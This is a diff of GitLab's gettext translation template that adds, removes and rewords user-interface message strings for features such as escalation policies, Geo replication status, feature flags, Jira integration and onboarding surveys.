+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr ""
msgid "Geo|Next sync scheduled at"
msgstr ""
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr ""
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr ""
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr ""
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr ""
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr ""
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr ""
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to Webhooks"
-msgstr ""
-
msgid "Go to commits"
msgstr ""
@@ -15258,6 +15466,9 @@ msgstr ""
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr ""
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr ""
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr ""
@@ -15531,13 +15748,16 @@ msgstr ""
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
